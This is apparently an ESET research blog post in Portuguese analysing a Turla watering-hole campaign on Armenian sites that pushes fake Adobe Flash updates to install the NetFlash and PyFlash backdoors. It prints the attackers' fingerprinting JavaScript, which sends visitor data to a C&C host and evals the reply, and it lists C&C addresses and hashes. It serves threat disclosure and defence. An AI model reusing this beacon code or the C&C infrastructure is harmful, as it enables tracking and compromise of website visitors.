Pesquisadores da ESET descobriram uma operação tipo “watering hole” (método de ataque que consiste em comprometer um website estratégico) direcionado a vários sites armênios de alto perfil. O ataque faz uso de uma atualização falsa do Adobe Flash como um atrativo para propagar duas partes de malware anteriormente não documentados que denominamos de NetFlash e PyFlash.

Vários aspectos dessa campanha nos levam a atribuir essa operação ao Turla, um grupo de espionagem que atua há mais de dez anos. Seus principais alvos são organizações governamentais e militares. Relatamos anteriormente várias campanhas desse grupo, incluindo Mosquito e LightNeuron.

Essa operação recente que descobrimos tem semelhanças com várias campanhas de watering hole do Turla que acompanhamos nos últimos anos. Em particular, o modus operandi é semelhante a uma campanha que descobrimos em 2017. As várias partes do JavaScript usadas na época são praticamente idênticas às desta campanha, mas os alvos e os payloads são diferentes.

Sites alvos

Nesta operação específica, o grupo Turla comprometeu pelo menos quatro sites armênios, incluindo dois pertencentes ao governo. Portanto, é provável que os alvos sejam oficiais do governo e políticos.

De acordo com a telemetria da ESET, os seguintes sites foram comprometidos:

  • armconsul[.]ru: O consulado da Embaixada Armênia na Rússia
  • mnp.nkr[.]am: Ministério da Proteção da Natureza e Recursos Naturais da República de Artsaj
  • aiisa[.]am: Instituto Armênio de Assuntos Internacionais e de Segurança
  • adgf[.]am: Fundo Armênio de Garantia de Depósitos

Temos indicações de que esses sites foram comprometidos pelo menos desde o início de 2019. Notificamos o CERT da Armênia e compartilhamos nossa análise com eles antes da publicação.

Os operadores do grupo Turla aproveitaram métodos desconhecidos para acessar esses sites e inserir um código JavaScript malicioso. Por exemplo, para mnp.nkr [.] am, eles adicionaram código ofuscado ao final do jquery-migrate.min.js (uma biblioteca JavaScript comum), assim como mostra a Figura 1.

Imagem 1. Código JavaScript ofuscado injetado no site mnp.nkr[.]am.

Este código carrega o JavaScript externo do skategirlchina[.]com/wp-includes/data_from_db_top.php. Analisamos esse código na próxima seção.

Desde o final de novembro de 2019, percebemos que o skategirlchina[.]com não propagava mais scripts maliciosos, o que nos faz pensar que os operadores do Turla haviam suspendido a operação watering hole.

Impressões digitais e propagação de malware

Ao visitar um site comprometido, o JavaScript malicioso do segundo estágio é entregue pelo skategirlchina[.]com e captura a impressão digital do navegador do visitante. A Imagem 2 mostra a principal função desse script.

Se for a primeira vez que o navegador do usuário executa o script, ele adicionará um evercookie com um valor MD5 de aparência aleatória fornecido pelo servidor, diferente em cada execução do script. A implementação do evercookie é baseada no código disponível no GitHub. Para armazenar o valor do cookie, ele usa vários locais de armazenamento, como banco de dados local, objetos compartilhados locais (cookies Flash), armazenamento Silverlight, etc. Comparado a um cookie normal, ele será muito mais persistente, pois não será excluído se o usuário simplesmente excluir os cookies do navegador.

Esse evercookie será usado para rastrear se o usuário visita novamente um dos sites comprometidos. Quando o usuário retorna pela segunda vez, o valor MD5 armazenado anteriormente será usado para identificá-lo.

Em seguida, ele coleta várias informações, incluindo a lista de plug-ins do navegador, a resolução da tela e várias informações do sistema operacional. Isso é enviado ao servidor C&C em uma solicitação POST. Caso exista uma resposta, supomos que o código JavaScript será executado usando a função eval.

[…]
function f_ec(){
    var ec = new evercookie({domain:'http://skategirlchina[.]com/wp-includes/data_from_db_top.php',baseurl:'?http://skategirlchina[.]com/wp-includes/data_from_db_top.php'});
    ec.get("ec", function(value) {
        if (value!=undefined){
            var jsonText = {'ec': ''+value+'',
                            'scp':screen.pixelDepth==undefined?''+0+'':''+screen.pixelDepth+'',
                            'scw':''+screen.width+'',
                            'sch':''+screen.height+'',
                            'bn':''+bn+'',
                            'bv':''+bv+'',
                            'bc':''+bc+'',
                            'osn':''+osn+'',
                            'osv':''+osv+'',
                            'osc':''+osc+'',
                            'adr':''+adr+'',
                            'pdr':''+pdr+'',
                            'fla':''+fla+'',
                            'jav':''+jav+'',
                            'wmp':''+wmp+'',
                            'msw':''+msw+'',
                            'qui':''+qui+'',
                            'sho':''+sho+'',
                             'type':'info',
                            'tiz': ''+(new Date().getTimezoneOffset()/60)+''
                            };
                var json = JSON.stringify(jsonText);

                 ajax({
                content_type : 'application/json',
                url:  'http://skategirlchina[.]com/wp-includes/data_from_db_top.php?http://skategirlchina[.]com/wp-includes/data_from_db_top.php',
                crossDomain: true,
                type: 'POST',
                data: json,
                onSuccess: function(m){
                    eval(m);
                }
            });
        }
        else{
           ec.set('ec', '<redacted MD5 value>');
           setTimeout(f_ec,1500);
        }

Imagem 2. Script de impressão digital (URLs maliciosas desativadas)

Se o visitante for considerado interessante, o servidor responderá com o código JavaScript que cria um iframe. Os dados de telemetria da ESET demonstram que, para esta campanha, apenas um número muito limitado de visitantes foi considerado interessante pelos operadores do Turla.

Esse iframe mostra ao usuário um falso aviso de atualização do Adobe Flash, como pode ser visto na Imagem 3, para induzi-los a baixar um instalador malicioso do Flash.

Imagem 3. Iframe da atualização falsa do Adobe Flash.

Não observamos o uso de nenhuma vulnerabilidade no navegador. A tentativa de ataque é baseada apenas nesse truque de engenharia social. Depois que o executável malicioso é baixado do mesmo servidor que o JavaScript para o iframe e se o usuário o inicia manualmente, uma variante do malware Turla e uma versão legítima do Adobe Flash são instaladas.

A Imagem 4 é uma visão geral do processo de comprometimento, desde a visita inicial de um dos sites armênios comprometidos até a entrega de um payload malicioso.

Imagem 4. Descrição geral da operação watering hole.

Malware

Quando o usuário executa o instalador falso, ele executa uma variante do malware do Turla e um instalador legítimo do Adobe Flash. Portanto, é provável que o usuário acredite que o aviso de atualização seja legítimo.

Antes de setembro de 2019: Skipper

Antes do final de agosto de 2019, a vítima teria recebido um arquivo RAR-SFX contendo um instalador legítimo do Adobe Flash v14 e um segundo arquivo RAR-SFX. Este último contém os vários componentes de um backdoor conhecido como Skipper, que já haviam sido atribuídos ao Turla. Foi documentado em 2017 por pesquisadores da Bitdefender, enquanto em maio de 2019 Telsy documentou uma versão mais recente.

Como existem apenas pequenas alterações entre as versões documentada e as mais recentes, não forneceremos uma análise detalhada nesta publicação.

Uma mudança interessante é que o módulo de comunicação do Skipper usa como servidor C&C o servidor que hospeda os JavaScripts remotos e os binários maliciosos desta campanha, mais especificamente o skategirlchina[.]com/wp-includes/ms-locale.php.

Desde setembro de 2019: NetFlash e PyFlash

Em agosto de 2019, percebemos que o payload entregue pelo skategirlchina[.]com mudou.

NetFlash (downloader.NET)

O novo payload era um aplicativo .NET que droppeou um instalador do Adobe Flash v32 em %TEMP%\adobe.exe, e NetFlash (um downloader do .NET) em %TEMP%\winhost.exe.

Segundo as marcas de tempo de compilação, as amostras de malware foram compiladas em agosto de 2019 e no início de setembro de 2019, pouco antes de serem carregadas no servidor C&C do watering hole.

O NetFlash baixa o malware do segundo estágio de uma URL codificada e estabelece a persistência para esse novo backdoor usando uma tarefa agendada do Windows. A Imagem 5 mostra a função NetFlash que baixa o malware do segundo estágio, chamado PyFlash. Também encontramos outra amostra do NetFlash, provavelmente compilada no final de agosto de 2019, com um servidor C&C hardcodeado diferente: 134.209.222[.]206:15363.

Imagem 5. Função principal do NetFlash.

PyFlash

Esse backdoor do segundo estágio é um executável py2exe. Py2exe é uma extensão Python para converter um script Python em um executável standalone para Windows. Até onde sabemos, esta é a primeira vez que os desenvolvedores do Turla usam a linguagem Python em um backdoor.

O backdoor se comunica com o servidor C&C hardcodeado através do HTTP. A URL C&C e outros parâmetros, como as chaves AES e IV usadas para criptografar todas as comunicações de rede, são especificadas no início do script, como mostra a Imagem 6.

Imagem 6. Variáveis globais no script PyFlash em Python.

A principal função do script, mostrada na Imagem 7, envia informações sobre a máquina ao servidor C&C. Este é o resultado das funções da lista de comandos vistas na Imagem 6. Inclui comandos relacionados ao sistema operacional (systeminfo, tasklist) e comandos relacionados à rede (ipconfig, getmac, arp).

Imagem 7. Função principal do PyFlash.

O servidor C&C também pode enviar comandos de backdoor no formato JSON. Os comandos implementados nesta versão do PyFlash são:

  • Faça o download de arquivos adicionais de um determinado link HTTP (S).
  • Execute um comando do Windows usando a função subprocess32.Popen do Python.
  • Altere o atraso da execução: modifique a tarefa do Windows que regularmente (a cada X minutos; 5 por padrão) lança o malware.
  • Mate (desinstala) o malware. Para confirmar esta instrução, o malware envia uma solicitação POST ao servidor C&C com a seguinte string:

I’m dying :(
Tell my wife that i love her…

Em seguida, a saída do comando é enviada de volta aos operadores, criptografado com AES, por meio de uma solicitação POST.

Conclusão

O grupo Turla ainda está usando os ataques watering hole como uma de suas táticas de acesso inicial. Curiosamente, esta campanha é baseada em um conhecido truque de engenharia social: um falso aviso de atualização do Adobe Flash para induzir o usuário a baixar e instalar um malware.

Por outro lado, o payload mudou, provavelmente para evitar a detecção, pois o Skipper é conhecido há muitos anos. Eles mudaram para o NetFlash, que instala um backdoor que chamamos de PyFlash e que é desenvolvido em Python.

Continuaremos monitorando as novas atividades do grupo Turla e publicaremos informações relevantes em nosso blog. Para qualquer dúvida, entre em contato conosco através do e-mail threatintel@eset.com. Indicadores de compromisso também podem ser encontrados em nosso repositório GitHub.

Indicadores de Comprometimento (IoCs)

Sites atacados

  • http://www.armconsul[.]ru/user/themes/ayeps/dist/js/bundle.0eb0f2cb2808b4b35a94.js
  • http://mnp.nkr[.]am/wp-includes/js/jquery/jquery-migrate.min.js
  • http://aiisa[.]am/js/chatem/js_rA9bo8_O3Pnw_5wJXExNhtkUMdfBYCifTJctEJ8C_Mg.js
  • adgf[.]am

Servidores C&C

  • http://skategirlchina[.]com/wp-includes/data_from_db_top.php
  • http://skategirlchina[.]com/wp-includes/ms-locale.php
  • http://37.59.60[.]199/2018/.config/adobe
  • http://134.209.222[.]206:15363
  • http://85.222.235[.]156:8000

Amostras

SHA-1 Timestamp Description ESET Detection Name
973620A7AB28A2CBA82DC2A613CD24ED43734381 Thu Aug 29 04:14:46 UTC 2019 NetFlash Dropper MSIL/Turla.D
B6567F988C9ACC5DF3CBD72409FC70D54EA412BB Tue Sep 3 11:12:04 UTC 2019 NetFlash MSIL/Turla.D
9F81710B85AA7088505C1EECCE9DA94A39A2DC06 Thu Aug 29 04:12:33 UTC 2019 NetFlash MSIL/Turla.F
32430B11E42EDEB63A11E721927FFBABE7C9CFEA N/A PyFlash Win32/Turla.EM
620A669EC0451C9F079FB4731F254AC577902E5E Wed Aug 29 09:43:18 UTC 2018 Skipper communication DLL Win32/Turla.EJ

Técnicas de MITRE ATT&CK

Tactic ID Name Description
Initial Access T1189 Drive-by Compromise Turla compromised high-value websites to deliver malware to the visitors.
Execution T1204 User Execution A fake Flash installer is intended to trick the user into launching the malware.
Persistence T1053 Scheduled Task NetFlash and PyFlash persist using scheduled tasks.
Discovery T1016 System Network Configuration Discovery PyFlash executes ipconfig /all, getmac and arp -a
T1057 Process Discovery PyFlash executes tasklist
T1082 System Information Discovery PyFlash executes systeminfo
Command and Control T1032 Standard Cryptographic Protocol PyFlash uses AES-128 in CBC mode to encrypt C&C communications.
T1043 Commonly Used Port NetFlash uses port 80.
T1065 Uncommonly Used Port PyFlash uses port 8,000.
A NetFlash sample uses port 15,363.
T1071 Standard Application Layer Protocol NetFlash and PyFlash use HTTP.
Exfiltration T1041 Exfiltration Over Command and Control Channel The output of PyFlash surveillance and C&C commands are exfiltrated using the C&C protocol.